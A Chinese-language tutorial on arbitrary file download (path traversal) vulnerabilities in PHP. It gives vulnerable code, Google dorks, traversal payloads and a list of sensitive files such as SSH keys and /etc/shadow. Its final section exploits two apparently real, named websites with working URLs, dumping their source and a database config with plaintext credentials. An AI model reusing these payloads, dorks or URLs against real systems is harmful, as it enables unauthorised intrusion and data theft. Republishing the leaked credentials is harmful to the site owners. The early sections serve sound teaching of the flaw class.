任意文件下载
0x01 产生原因
一些网站的业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不作限制,就能够查看或下载任意文件
产生代码(php)
readfile()
<?php
$filename = "test.txt.";
readfile($filename);
?>
fopen()
<?php
$filename = "test.txt";
$fp = fopen($filename, "r") or die("Unable to open file!"); echo fread($fp,filesize($filename));
fclose($fp);
?>
file_get_contents()
<?php
$filename = "test.txt";
echo file_get_contents($filename);
?>
如果对于变量$filename用户可控,就存在文件下载的风险
<?php
$filename = $_GET['f'];
echo file_get_contents($filename);
?>
成因
-
filename= _GET[f]; - $filename没有经过校验,或者校验不严格,用户可以控制这个变量读取任意的文件,/etc/passwd ./index.php等
文件下载的方式
文件下载有两种方式
- 直接下载
```
<a href=“http://www.xxxx.com/xxx.rar”> </a>
```
- 添加header下载
```
<?php
$filename = "uploads/20160525125332758.jpg";
header('Content-Type: image/gif');
header('Content-Disposition: attachment;filename='.$filename);
header('Content-Length: '.filesize($filename));
readfile($filename);
?>
```
对于第二种方式,如果$filename用户可控,就造成文件下载
<?php
$filename = $_GET[f];
header('Content-Type: image/gif');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Length: '.filesize($filename));
readfile($filename);
?>
0x02 寻找漏洞
Google search
利用谷歌语法
inurl:"readfile.php?file="
inurl:"download.php?file="
常见参数名
• RealPath=
• FilePath=
• filepath=
• Path=
• path=
• inputFile=
• url=
• urls=
• Lang=
• dis=
• data=
• readfile=
• filep=
• src=
• menu=
• META-INF
• WEB-INF
web漏洞扫描器
- awvs
- appscan
- …..
验证漏洞
- index.php?f=../../../../../../etc/passwd
- index.php?f=../index.php
- index.php?f=file:///etc/passwd
0x03 漏洞危害
-
下载任意文件,包含脚本代码文件、系统敏感文件等
敏感文件/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符)
/proc/mounts
/proc/config.gz
0x04 漏洞挖掘实例
google
inurl:”filepath=”
http://hypnet.org.uk/shared/readfile.php?file=mental_health_audit_2014_06_15_130552.ppt&usg=AFQjCNGiIx9WUJAdJfb-ZVNN7RbzbkZWjQ
file参数可控
下载readfile.php页面进行分析
http://hypnet.org.uk/shared/readfile.php?file=../shared/readfile.php&usg=AFQjCNGiIx9WUJAdJfb-ZVNN7RbzbkZWjQ
readfile.php
<?php
include_once ($_SERVER['DOCUMENT_ROOT'] . "/env.php");
include_once ($_SERVER['DOCUMENT_ROOT'] . "/shared/load_config.php");
$file = $_SERVER['DOCUMENT_ROOT'].$DOCUMENT_LOC.$_GET["file"];
echo $file;
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header("Content-Type: application/force-download");
header('Content-Disposition: attachment; filename=' . urlencode(basename($file)));
// header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
?>
可以看出对$file并没有过滤
http://www.sicilcondotte.it/admin/file/readfile.php?t=1331545874&id=../index.php&usg=AFQjCNHYzNuaS_b4C8eqey_0tNWFYBB99A
id可控
读index.php
读数据库配置文件dbconf.php
http://www.sicilcondotte.it/admin/file/readfile.php?t=1331545874&id=../conf/dbconf.php&usg=AFQjCNHYzNuaS_b4C8eqey_0tNWFYBB99A
$dbhost = 'localhost';
$dbname = 'c35vtr_sicilcondotte';
$dbuser = 'root';
$dbpass = 'root';
http://www.sicilcondotte.it/admin/file/readfile.php?t=1331545874&id=../admin/file/readfile.php&usg=AFQjCNHYzNuaS_b4C8eqey_0tNWFYBB99A
readfile.php
<?
include_once "{$_SERVER['DOCUMENT_ROOT']}/conf/config.php";
if (isset($_GET['idElem'])){
$dir = DIR_IMG_ASSOCIATE_ROOT . '/p_' . $_GET['id'] . '.jpg' ;
}
else{
$dir = USER_FILE . $_GET['id'];
}
if (file_exists($dir)){
$nome = htmlspecialchars(basename($dir));
header('Content-type:' . mime_content_type($dir));
header('Content-Disposition: attachment; filename="' . $nome . '"');
readfile($dir);
}
?>
$_GET['idElem']
$_GET['id']
都未过滤
$nome=htmlspecialchars(basename($dir))
虽然$nome html实体编码了
但是没有过滤./
readfile($dir);
传递的参数也是$dir